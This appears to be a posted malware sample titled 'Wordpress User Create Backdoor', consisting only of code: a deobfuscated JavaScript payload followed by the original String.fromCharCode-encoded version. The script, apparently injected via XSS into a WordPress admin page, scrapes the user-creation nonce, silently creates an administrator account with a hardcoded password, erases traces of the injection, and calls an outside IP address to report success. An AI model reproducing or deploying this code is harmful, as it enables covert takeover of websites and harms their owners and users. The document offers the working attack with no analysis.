Wordpress User Create Backdoor

Wordpress User Create Backdoor

//Deobfuscated Code

var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
            /*console.log("Getting Nonce");*/
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
            var m = re.exec(html);
            if (m[2].match(/([a-z0-9]{10})/)) {
                var nonce = m[2];

                $.ajax({
                    "url": newuser_url,
                    "method" : "POST",
                    "data" :
                    {
                        "action":"createuser",
                        "_wpnonce_create-user": nonce,
                        "_wp_http_referer" : "/wp-admin/user-new.php",
                        "user_login": "simple001",
                        "email" : "simple@simplesite.com",
                        "first_name" : "simple",
                        "last_name" : "simple",
                        "url" : "http://simple.com/",
                        "pass1" : "passforme1",
                        "pass1-text" : "passforme1",
                        "pass2" : "passforme1",
                        "send_user_notification" : 0,
                        "role":"administrator",
                        "createuser" : "Add+New+User"
                    },
                    "success" : function(html){
                        //console.log("New User created");
                        //Removeing the XSS from the site, callback hell
                        $.ajax({
                            "url": ajax_url,
                            "method" : "POST",
                            "data" :
                             {
                                "action":"fake",
                                "permalink_structure": 1
                             },
                            "success": function(){
                                //Resed dome, reload the page
								httpGet("http://146.185.182.176/g/a.php");
                                //window.location = window.location + '&reload=1';
                            }
                        });

                    }
                });
            }

		}

        }
    });"

//Origial Obfuscated Code

String.fromCharCode(9, 9, 32, 118, 97, 114, 32, 36, 32, 61, 32, 106, 81, 117, 101, 114, 121, 46, 110, 111, 67, 111, 110, 102, 108, 105, 99, 116, 40, 41, 59, 10, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 110, 101, 119, 117, 115, 101, 114, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 32, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 104, 116, 109, 108, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 42, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 34, 71, 101, 116, 116, 105, 110, 103, 32, 78, 111, 110, 99, 101, 34, 41, 59, 42, 47, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 114, 101, 32, 61, 32, 47, 110, 97, 109, 101, 61, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 40, 91, 32, 93, 43, 41, 118, 97, 108, 117, 101, 61, 34, 40, 91, 94, 34, 93, 43, 41, 34, 47, 103, 59, 10, 9, 9, 9, 105, 102, 40, 104, 116, 109, 108, 46, 105, 110, 100, 101, 120, 79, 102, 40, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 41, 32, 33, 61, 61, 32, 45, 49, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 109, 32, 61, 32, 114, 101, 46, 101, 120, 101, 99, 40, 104, 116, 109, 108, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 109, 91, 50, 93, 46, 109, 97, 116, 99, 104, 40, 47, 40, 91, 97, 45, 122, 48, 45, 57, 93, 123, 49, 48, 125, 41, 47, 41, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 110, 111, 110, 99, 101, 32, 61, 32, 109, 91, 50, 93, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 110, 101, 119, 117, 115, 101, 114, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 109, 101, 116, 104, 111, 100, 34, 32, 58, 32, 34, 80, 79, 83, 84, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 100, 97, 116, 97, 34, 32, 58, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 97, 99, 116, 105, 111, 110, 34, 58, 34, 99, 114, 101, 97, 116, 101, 117, 115, 101, 114, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 58, 32, 110, 111, 110, 99, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 95, 119, 112, 95, 104, 116, 116, 112, 95, 114, 101, 102, 101, 114, 101, 114, 34, 32, 58, 32, 34, 47, 119, 112, 45, 97, 100, 109, 105, 110, 47, 117, 115, 101, 114, 45, 110, 101, 119, 46, 112, 104, 112, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 115, 101, 114, 95, 108, 111, 103, 105, 110, 34, 58, 32, 34, 115, 105, 109, 112, 108, 101, 48, 48, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 101, 109, 97, 105, 108, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 64, 115, 105, 109, 112, 108, 101, 115, 105, 116, 101, 46, 99, 111, 109, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 102, 105, 114, 115, 116, 95, 110, 97, 109, 101, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 108, 97, 115, 116, 95, 110, 97, 109, 101, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 32, 58, 32, 34, 104, 116, 116, 112, 58, 47, 47, 115, 105, 109, 112, 108, 101, 46, 99, 111, 109, 47, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 49, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 49, 45, 116, 101, 120, 116, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 50, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 101, 110, 100, 95, 117, 115, 101, 114, 95, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 34, 32, 58, 32, 48, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 111, 108, 101, 34, 58, 34, 97, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 114, 101, 97, 116, 101, 117, 115, 101, 114, 34, 32, 58, 32, 34, 65, 100, 100, 43, 78, 101, 119, 43, 85, 115, 101, 114, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 32, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 104, 116, 109, 108, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 34, 78, 101, 119, 32, 85, 115, 101, 114, 32, 99, 114, 101, 97, 116, 101, 100, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 82, 101, 109, 111, 118, 101, 105, 110, 103, 32, 116, 104, 101, 32, 88, 83, 83, 32, 102, 114, 111, 109, 32, 116, 104, 101, 32, 115, 105, 116, 101, 44, 32, 99, 97, 108, 108, 98, 97, 99, 107, 32, 104, 101, 108, 108, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 97, 106, 97, 120, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 109, 101, 116, 104, 111, 100, 34, 32, 58, 32, 34, 80, 79, 83, 84, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 100, 97, 116, 97, 34, 32, 58, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 97, 99, 116, 105, 111, 110, 34, 58, 34, 102, 97, 107, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 101, 114, 109, 97, 108, 105, 110, 107, 95, 115, 116, 114, 117, 99, 116, 117, 114, 101, 34, 58, 32, 49, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 82, 101, 115, 101, 100, 32, 100, 111, 109, 101, 44, 32, 114, 101, 108, 111, 97, 100, 32, 116, 104, 101, 32, 112, 97, 103, 101, 10, 9, 9, 9, 9, 9, 9, 9, 9, 104, 116, 116, 112, 71, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 52, 54, 46, 49, 56, 53, 46, 49, 56, 50, 46, 49, 55, 54, 47, 103, 47, 97, 46, 112, 104, 112, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 43, 32, 39, 38, 114, 101, 108, 111, 97, 100, 61, 49, 39, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 9, 9, 9, 10, 9, 9, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 41, 59);